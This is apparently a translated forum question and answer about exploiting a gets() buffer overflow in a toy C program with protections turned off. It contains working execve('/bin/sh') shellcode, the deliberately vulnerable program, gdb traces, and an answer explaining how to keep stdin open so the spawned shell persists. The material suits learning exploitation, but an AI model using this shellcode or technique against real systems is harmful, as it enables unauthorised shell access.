首页 文章

用gets()缓冲区溢出

提问于
浏览
0

我试图用我的shellcode溢出缓冲区,我遇到了gets()问题 . 如果我使用strcpy()函数使用shellcode溢出缓冲区 - 它没关系,我得到了一个/ bin / bash . 但如果我对gets()函数做同样的事情,它什么都没有给我看 . 我尝试使用gets()进行ret2text攻击并且它工作正常,如果我尝试使用恶意代码(shell)溢出它不起作用 . 我关闭了堆栈保护器(-fno-stack-protector),禁用了ASLR(echo 0> randomize_va_space),启用了堆栈执行(-z execstack)

这是shellcode

xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

这是vuln prog

#include <stdio.h>
#include <string.h>

int ask_user(void)
{
    int ret;
    char name[10];
    printf("Your Name: ");
    fflush(stdout);
    gets(name);
    ret = strcmp(name, "Peter");
    if (ret == 0)
    return 1;
    return 0;
}

int main(int argc, char *argv[])
{
    int is_peter;
    printf("This Application finds the Peter!\n");
    is_peter = ask_user();
    if (is_peter == 1)
    {
        printf("Lol, you are a real Peter!\n");
        return 0;
    }
    printf("Ups, no Peter :-/\n");
    return 0;
}

一些gdb

gdb$ si
--------------------------------------------------------------------------[regs]
  EAX: 0x0000000B  EBX: 0xBFFFEF22  ECX: 0x00000000  EDX: 0x00000000  o d I t s Z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0x41414141  ESP: 0xBFFFEF10  EIP: 0xBFFFEF1B
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
--------------------------------------------------------------------------[code]
=> 0xbfffef1b:  int    0x80
   0xbfffef1d:  call   0xbfffef12
   0xbfffef22:  das    
   0xbfffef23:  bound  ebp,QWORD PTR [ecx+0x6e]
   0xbfffef26:  das    
   0xbfffef27:  jae    0xbfffef91
   0xbfffef29:  add    BYTE PTR [eax+ecx*1],al
   0xbfffef2c:  add    BYTE PTR [eax],al
--------------------------------------------------------------------------------
0xbfffef1b in ?? ()
gdb$ x/1sb $ebx
0xbfffef22:     "/bin/sh"
gdb$ x/1sb $esp
0xbfffef10:     "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh"
gdb$ si
process 3697 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 3697) exited normally]
--------------------------------------------------------------------------[regs]
  EAX:Error while running hook_stop:
No registers.

正如您在调试器中看到的那样,shell目前正在启动和退出 . 当我使用strcpy时它启动shell而不是退出

1 回答

  • 0

    strcpy和gets之间存在差异 .

    你应该尝试使用这样的东西让stdin打开:(cat / tmp / yourbuffer; cat)| ./vuln

相关问题